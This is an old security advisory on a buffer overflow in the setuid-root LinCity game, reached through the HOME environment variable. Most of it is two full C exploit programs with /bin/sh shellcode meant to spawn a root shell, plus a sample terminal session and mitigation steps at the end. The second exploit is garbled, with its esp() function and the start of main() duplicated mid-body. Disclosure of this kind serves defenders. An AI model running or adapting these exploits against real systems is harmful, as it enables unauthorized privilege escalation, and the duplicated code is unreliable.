COMMAND

    LinCity

SYSTEMS AFFECTED

    Linux, Solaris 2.5, FreeBSD, HpUX, AIX, IRIX

PROBLEM

    LinCity is an  SVGALIB and X  based city/country simulation  game.
    T. Freak found following.   It's a buffer overflow, but  depending
    on your enviroment may work or may not.  Observe:

       jaded:~> id
       uid=1000(tfreak) gid=1000(tfreak)
       groups=1000(tfreak),0(root),4(adm),7(lp),24(cdrom),25(floppy),31(majordom),69(geek)
       jaded:~> ls -l /usr/games/lincity
       -rwsr-xr-x   1 root     root       769384 Mar 14 20:36 /usr/games/lincity
       jaded:~> ./x
       svgalib: Using S3 driver (Trio64, 2048K).
       svgalib: s3: chipsets newer than S3-864 is not supported well yet.
       svgalib: RAMDAC: Trio64: MCLK = 50.114 MHz
       sh-2.01$ id
       uid=1000(tfreak) gid=1000(tfreak)
       groups=1000(tfreak),0(root),4(adm),7(lp),24(cdrom),25(floppy),31(majordom),69(geek)
       sh-2.01$

    Despite the   setuid permissions, a  root shell was  not obtained.
    The version  of bash  you are  running is  the key  here...   2.01
    renounces setuid/setgid privs when called as "sh", e.g.,  system()
    within a program, unless the "-p" flag is passed.  See the "NOTES"
    file in  the root  directory of  the bash-2.01.1  distribution for
    details.

    Below are two exploits:

    /*
     *  lincity-svga exploit by TFreak
     *
     * another  example   of  bad  programming,   copying  the    HOME
     * environment  without bounds  checking to  a static  size buffer
     * (100 bytes)
     *
     */

    #include <stdio.h>

    #define bs 250
    #define of 300

    unsigned long sp (void);

    int main(int argc, char *argv[])
    {
        char *p, *buf;
        char shell[] =
            "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
            "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
            "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
        unsigned long addr, *paddr;
        int i;

        buf = (char *) malloc(bs);
        p = buf;
        paddr = (unsigned long *) p;

        addr = sp() - of;

        for (i = 0; i < bs; i += 4)
            *(paddr++) = addr;

        memset(p, 0x90, bs/2);
        p += bs/2;

        for (i = 0; i < strlen(shell); i++)
            *(p++) = shell[i];

        setenv("HOME", buf, 1);
        execl("/usr/games/lincity", "lincity", NULL);
    }

    unsigned long sp (void)
    {
        __asm__("movl %esp, %eax");
    }

    Bst posted another one:

    #include <stdio.h>
    #include <stdlib.h>

    #define HOMESIZE        500
    #define HUEVOSIZE       5000

    char *shell =
       "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
       "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
       "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

    long
    esp(void)
    {
    __asm__("movl %esp,%eax\n");
    }
    int
    main(void)
    {

        char *ptr, *bof, *egg;
        long *addr_ptr, addr;
        int i;


        if ( !(bof = malloc(HOMESIZE)) ) {
          printf("NoMoreMemory4bof.\n");
          exit(1);
        }

        if ( !(egg = malloc(HUEVOSIZE)) ) {
          printf("NoMoreMemory4egg.\n");
          exit(1);
        }

    long
    esp(void)
    {
    __asm__("movl %esp,%eax\n");
    }
    int
    main(void)
    {

        char *ptr, *bof, *egg;
        long *addr_ptr, addr;
        int i;


        if ( !(bof = malloc(HOMESIZE)) ) {
          printf("NoMoreMemory4bof.\n");
          exit(1);
        }

        if ( !(egg = malloc(HUEVOSIZE)) ) {
          printf("NoMoreMemory4egg.\n");
          exit(1);
        }

        addr = esp();

        addr_ptr = (long *) bof;
        for (i = 0; i < HOMESIZE; i += 4)
        *(addr_ptr++) = addr;
        ptr = egg;
        for (i = 0; i <= HUEVOSIZE - strlen(shell) - 2; i++)
            *(ptr++) = 0x90;

        for( i = 0; i < strlen(shell); i++)
            *(ptr++) = shell[i];

        printf("Address:\t0x%x\n", addr);

        bof[HOMESIZE - 1] = '\0';
        egg[HUEVOSIZE - 1] = '\0';

        memcpy(bof, "BOF=", 4);
        memcpy(egg , "EGG=", 4);

        putenv(bof);
        putenv(egg);

        system("export HOME=$BOF; /usr/games/lincity");

    }

SOLUTION

    At this moment it is only  known for Debian Linux that if  you are
    using Debian hamm/2.0, you  should upgrade immediately to  lincity
    1.09-3 to avoid this problem.  Otherwise, run:

        chmod a-s /usr/games/lincity

    Debian  1.3.1  (lincity  1.03-2  or  1.09-1) is vulnerable to this
    issue, but only if lincity-svga  is installed (find out with  dpkg
    -s lincity-svga) and is setuid  root.  Debian hamm/pre-2.0 is  not
    vulnerable unless running an outdated package from before February
    22, 1998.  Any  hand-installed version from the  author's makefile
    IS vulnerable, unless the setuid bit was explicitly removed.